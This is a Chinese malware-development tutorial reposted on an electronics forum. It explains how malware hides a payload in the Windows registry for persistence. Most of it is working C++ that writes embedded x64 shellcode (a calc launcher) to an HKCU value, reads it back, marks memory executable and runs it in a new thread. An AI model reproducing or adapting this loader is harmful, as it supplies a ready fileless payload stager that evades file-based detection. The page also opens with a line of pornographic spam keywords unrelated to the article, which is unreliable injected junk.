女人自慰AV免费观看内涵网,日韩国产剧情在线观看网址,神马电影网特片网,最新一级电影欧美,在线观看亚洲欧美日韩,黄色视频在线播放免费观看,ABO涨奶期羡澄,第一导航fulione,美女主播操b

0
  • 聊天消息
  • 系統消息
  • 評論與回復
登錄后你可以
  • 下載海量資料
  • 學習在線課程
  • 觀看技術視頻
  • 寫文章/發帖/加入社區
會員中心
創作中心

完善資料讓更多小伙伴認識你,還能領取20積分哦,立即完善>

3天內不再提示

在windows注冊表中存儲二進制數據

蛇矛實驗室 ? 來源:蛇矛實驗室 ? 2023-05-31 14:13 ? 次閱讀

簡介

注冊表是 Windows 操作系統中一個重要的數據庫,它包含 Windows 操作系統和應用程序的重要設置和選項。由于注冊表的功能非常強大,因此注冊表對于惡意程序來說是非常有利用價值的。

在 windows 注冊表中存儲二進制數據,這是一種常見的技術,常被惡意軟件用于持久化或存儲惡意的 payload。

在注冊表中存儲二進制數據

boolStoreBinaryDataInRegistry(conststd::wstring& subKeyPath, conststd::wstring& vauleName, constvoid* binaryData, DWORD dataSize)
{
HKEY hkey;
LSTATUS res = RegCreateKeyExW(HKEY_CURRENT_USER, subKeyPath.c_str(), 0, NULL, 0, KEY_WRITE, NULL, &hkey, NULL);
if(res == ERROR_SUCCESS)
{
res = RegSetValueExW(hkey, vauleName.c_str(), 0, REG_BINARY, reinterpret_cast(binaryData), dataSize);

RegCloseKey(hkey);
}

return(res == ERROR_SUCCESS);
}

上述代碼將二進制數據存儲到 Windows 注冊表中。

取出存儲的二進制數據

boolGetBinaryDataFromRegistry(conststd::wstring& subKeyPath, conststd::wstring& valueName, std::vector& outBuffer)
{
HKEY hKey;

LSTATUS res = RegOpenKeyExW(HKEY_CURRENT_USER, subKeyPath.c_str(), 0, KEY_READ, &hKey);
if(res != ERROR_SUCCESS) {
returnfalse;
}

DWORD dataType;
DWORD dataSize = 0;
res = RegQueryValueEx(hKey, valueName.c_str(), nullptr, &dataType, nullptr, &dataSize);
if(res != ERROR_SUCCESS || dataType != REG_BINARY) {
RegCloseKey(hKey);
returnfalse;
}

outBuffer.resize(dataSize);
res = RegQueryValueEx(hKey, valueName.c_str(), nullptr, &dataType, &outBuffer[0], &dataSize);
RegCloseKey(hKey);

return(res == ERROR_SUCCESS);
}

上述代碼將從注冊表指定位置取出二進制數據保存在 vector 中。

測試

intmain()
{
unsigned char calc_thread64_bin[] = {
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,
0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,
0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b,
0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41,
0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1,
0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44,
0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,
0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48,
0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d,
0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5,
0xbb, 0xe0, 0x1d, 0x2a, 0x0a, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0,
0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89,
0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};
unsigned intcalc_thread64_bin_len = 276;

StoreBinaryDataInRegistry(L"SOFTWARE\testApp", L"test", calc_thread64_bin, calc_thread64_bin_len);

std::vector payload;
GetBinaryDataFromRegistry(L"SOFTWARE\testApp", L"test", payload);

auto execMem = VirtualAlloc(NULL, calc_thread64_bin_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

memmove(execMem, payload.data(), calc_thread64_bin_len);

DWORD oldProtect;
auto ret = VirtualProtect(execMem, calc_thread64_bin_len, PAGE_EXECUTE_READ, &oldProtect);

if(ret != 0) {
HANDLE th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)execMem, 0, 0, 0);
WaitForSingleObject(th, -1);
}

return0;
}

上述測試代碼首先使用 StoreBinaryDataInRegistry 將 payload 寫入注冊表指定位置(HKCUSOFTWARE estApp)下的 test 字段,之后從使用GetBinaryDataFromRegistry 取出 payload 數據并創建線程執行 payload。

效果:寫入注冊表中指定位置的數據。

99d6833c-fc66-11ed-90ce-dac502259ad0.png

當程序成功執行將彈出計算器窗口。

99e73c04-fc66-11ed-90ce-dac502259ad0.png

審核編輯:彭靜
聲明:本文內容及配圖由入駐作者撰寫或者入駐合作網站授權轉載。文章觀點僅代表作者本人,不代表電子發燒友網立場。文章及其配圖僅供工程師學習之用,如有內容侵權或者其他違規問題,請聯系本站處理。 舉報投訴
  • 數據
    +關注

    關注

    8

    文章

    7241

    瀏覽量

    90995
  • 存儲
    +關注

    關注

    13

    文章

    4502

    瀏覽量

    87063
  • WINDOWS
    +關注

    關注

    4

    文章

    3608

    瀏覽量

    90925

原文標題:maldev tricks在注冊表中存儲 payload

文章出處:【微信號:蛇矛實驗室,微信公眾號:蛇矛實驗室】歡迎添加關注!文章轉載請注明出處。

收藏 人收藏

    評論

    相關推薦
    熱點推薦

    偏移二進制二進制補碼如何和實際數據對應,如何轉換?

    偏移二進制二進制補碼如何和實際數據對應,如何轉換,請哪位高手解惑
    發表于 01-16 06:01

    bcd編碼的應用 bcd與二進制的區別

    直接對應于我們日常使用的十進制數字系統。以下是BCD編碼的一些應用和它與二進制編碼的區別: BCD編碼的應用 數字顯示設備 :在數字鐘表、計算器和其他需要顯示十進制數字的設備,BCD
    的頭像 發表于 12-20 17:11 ?2757次閱讀

    hex格式和二進制的區別

    HEX格式和二進制多個方面存在顯著的區別。以下是對這兩者的對比: 一、定義與表示方式 HEX格式 : HEX,全稱為Intel HEX,是一種用于存儲和傳輸數據到嵌入式系統(如單片機
    的頭像 發表于 11-18 15:24 ?1522次閱讀

    在線二進制編碼器:數據轉換的快捷通道

    在數字時代,數據的快速轉換與處理至關重要。二進制編碼,作為計算機內部數據表示的基礎,將信息轉化為0和1的序列,為數字世界構建了溝通的橋梁。然而,對于非專業用戶來說,手動進行二進制編碼既
    的頭像 發表于 11-15 09:01 ?1599次閱讀

    base64字符串轉換為二進制文件

    Base64是一種編碼方法,用于將二進制數據轉換為ASCII字符串。這種編碼通常用于不支持二進制數據的系統
    的頭像 發表于 11-10 10:55 ?2648次閱讀

    ASCII碼和二進制的轉換關系

    是一種計數系統,使用0和1兩個數字來表示信息。計算機科學二進制是非常重要的,因為計算機的硬件層面上處理的就是二進制
    的頭像 發表于 11-10 09:50 ?3583次閱讀

    二進制編碼器的精度與分辨率

    在數字電子系統,二進制編碼器扮演著至關重要的角色。它負責將外部世界的模擬信號轉換為計算機可以理解的數字信號。精度和分辨率是衡量二進制編碼器性能的兩個關鍵指標。 1. 二進制編碼器的基
    的頭像 發表于 11-06 09:56 ?1059次閱讀

    二進制編碼器自動化領域的作用

    二進制編碼器是一種將二進制信號轉換為數字信號的電子設備,廣泛應用于自動化領域。 一、二進制編碼器的工作原理 二進制編碼器是一種將二進制信號轉
    的頭像 發表于 11-06 09:53 ?830次閱讀

    二進制編碼器的故障排除指南

    二進制編碼器是一種將二進制信號轉換為數字信號的電子設備,廣泛應用于計算機、通信和自動化控制系統。當二進制編碼器出現問題時,有效的故障排除是確保系統正常運行的關鍵。 1. 初步檢查 1
    的頭像 發表于 11-06 09:49 ?815次閱讀

    二進制編碼器機器人中的應用

    二進制信號,為機器人提供精確的狀態信息。 二進制編碼器的工作原理 二進制編碼器是一種將物理量(如位置、速度等)轉換為二進制代碼的設備。
    的頭像 發表于 11-06 09:48 ?895次閱讀

    二進制編碼器的種類及特點

    二進制編碼器是一種電子電路,用于將二進制信號轉換為其他格式,如十進制、格雷碼等。以下是一些常見的二進制編碼器種類及其特點: 優先編碼器(Priority Encoder) : 特點 :
    的頭像 發表于 11-06 09:47 ?1243次閱讀

    二進制編碼器應用場景 二進制編碼器與模擬編碼器比較

    編碼器是將信息從一種形式或格式轉換為另一種形式的設備。在數字和模擬系統,編碼器扮演著至關重要的角色。二進制編碼器和模擬編碼器是兩種常見的編碼器類型,它們不同的應用場景中有著各自的優勢和局
    的頭像 發表于 11-06 09:45 ?1116次閱讀

    二進制編碼器工作原理 如何選擇二進制編碼器

    二進制編碼器是一種數字電路,它將輸入的二進制代碼轉換為對應的輸出信號。在數字系統,編碼器用于將數據從一種形式轉換為另一種形式,以便于處理和傳輸。
    的頭像 發表于 11-06 09:44 ?2198次閱讀

    二進制補碼及與原碼的互相轉換方法

    大沙把一些基礎的知識說清楚,本文介紹二進制補碼及與原碼的轉換方法。 先說原碼,原碼?是一種計算機對數字的二進制定點表示方法。原碼表示法
    的頭像 發表于 09-19 22:25 ?1273次閱讀

    二進制處理的一些技巧

    二進制和十進制的處理,有時候一些小技巧是很有用的。 1、把十進制數轉換成二進制
    的頭像 發表于 07-05 11:51 ?870次閱讀